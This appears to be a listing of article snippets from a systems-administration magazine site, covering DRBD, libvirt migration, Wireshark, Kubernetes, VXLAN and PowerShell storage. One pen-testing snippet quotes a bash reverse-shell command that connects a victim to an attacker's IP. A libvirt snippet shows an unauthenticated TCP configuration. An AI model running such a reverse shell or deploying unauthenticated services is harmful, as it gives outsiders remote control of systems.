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17%
Create a high availability VM with  DRBD9  and Reactor
07.10.2025
Home »  Archive  »  2025  »  Issue 89: Autom...  » 
Photo by Emma Simpson on Unsplash
. Listing 1 DRBD Resource for VM # vi /etc/drbd.d/proxy.res resource proxy { device drbd0; disk /dev/drbd/proxy; meta-disk internal; on alice { address 10.42.0.100:7789; node-id 0
17%
Live Migration
18.02.2014
Home »  Articles  » 
that each Libvirt instance needs to open a TCP/IP socket. All you need are the following lines in /etc/libvirt/libvirtd.conf : listen_tls = 0 listen_tcp = 1 auth_tcp = "none" The configuration shown does
17%
Red Hat’s Cloud Tools
08.07.2013
Home »  Articles  » 
 
-party cloud technologies with the help of its Delta Cloud API. After all, CloudForms 1.1, DeltaCloud 1.0, Storage Server 2.0, JBoss Middleware, and Enterprise Virtualization 3.1 form the foundation
17%
Wireshark
27.11.2011
Home »  Articles  » 
 
. It was formerly known as Ethereal and is probably known to many administrators by that name. The tool was renamed when version 0.99.1 of Wireshark was released, because Ethereal developer Gerald Combs left Ethereal
17%
Saving Storage Space with Reduced Precision
19.06.2023
Home »  HPC  »  Articles  » 
round to even Round to the nearest value, ties round away from zero Directed rounding toward 0 Directed rounding toward +infinity Directed rounding toward −infinity Converting from FP64
17%
Improved defense through pen testing
13.12.2018
Home »  Archive  »  2018  »  Issue 48: Secur...  » 
Lead Image Photo by Simeon Jacobson on Unsplash
with Computer A (the victim system) receiving the following code: $ bash -I <& /dev/tcp/10.0.0.1/444 0<&1 that causes Computer A to connect to Computer B (the attacking system that receives the connection from
17%
Layer 3 SDN
29.09.2020
Home »  Archive  »  2020  »  Issue 59: Custo...  » 
Lead Image © Kirsty Pargeter, 123RF.com
, Calico supports both OpenStack … © OpenStack, Apache-2.0 [2] Figure 2: … and Kubernetes, plus several other solutions. © Kubernetes, CC BY 4.0 [3
17%
Kubernetes clusters within AWS EKS
02.08.2021
Home »  Archive  »  2021  »  Issue 64: Bare...  » 
Lead Image © Zlatko Guzmic, 123RF.com
blown EKS cluster. You can minimize the costs by decreasing the number of worker nodes. The billing documentation states (at the time of writing, at least, so your mileage might vary): "You pay $0.10 per
17%
Network overlay with VXLAN
06.10.2022
Home »  Archive  »  2022  »  Issue 71: Kuber...  » 
Photo by Fikri Rasyid on Unsplash
despite different locations and a Layer 3 underlay. An example of VXLAN as an overlay could be a virtual server system that is redundant and uses the virtual IPv4 address 192.0.2.1. The address
17%
Manage Windows Server storage with PowerShell
06.10.2022
Home »  Archive  »  2022  »  Issue 71: Kuber...  » 
Photo by Brian McGowan on Unsplash
this configuration step as early as possible: Add-WindowsFeature Multipath-IO $vid = 'MSFT2005' $pid = 'iSCSIBusType_0x9' New-MSDSMSupportedHW -VendorId $vid -ProductId $pid Set

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